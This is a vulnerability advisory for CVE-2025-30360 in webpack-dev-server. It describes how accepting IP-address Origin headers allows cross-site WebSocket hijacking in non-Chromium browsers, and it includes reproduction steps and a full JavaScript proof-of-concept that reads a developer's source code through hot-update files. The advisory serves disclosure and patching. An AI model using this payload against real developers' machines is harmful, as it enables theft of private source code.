CVE-2025-30360: webpack-dev-server users' source code may be stolen when they access a malicious web site with non-Chromium based browser

Summary Source code may be stolen when you access a malicious web site with non-Chromium based browser.

Details The Origin header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address Origin headers. https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127 This allows websites that are served on IP addresses to connect WebSocket. By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.

related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that checkHost function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.

This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.

PoC 1. Download reproduction.zip and extract it 2. Run npm i 3. Run npx webpack-dev-server 4. Open http://{ipaddress}/?target=http://localhost:8080&file=main with a non-Chromium browser (I used Firefox 134.0.1) 5. Edit src/index.js in the extracted directory 6. You can see the content of src/index.js

!image

The script in the POC site is: js window.webpackHotUpdate = (...args) => { console.log(...args); for (i in args[1]) { document.body.innerText = args[1][i].toString() + document.body.innerText console.log(args[1][i]) } }

let params = new URLSearchParams(window.location.search); let target = new URL(params.get('target') || 'http://127.0.0.1:8080'); let file = params.get('file') let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss'; let wsPort = target.port; var currentHash = ''; var currentHash2 = ''; let wsTarget = ${wsProtocol}://${target.hostname}:${wsPort}/ws; ws = new WebSocket(wsTarget); ws.onmessage = event => { console.log(event.data); if (event.data.match('"type":"ok"')) { s = document.createElement('script'); s.src = ${target}${file}.${currentHash2}.hot-update.js; document.body.appendChild(s) } r = event.data.match(/"([0-9a-f]{20})"/); if (r !== null) { currentHash2 = currentHash; currentHash = r[1]; console.log(currentHash, currentHash2); } }

Impact This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.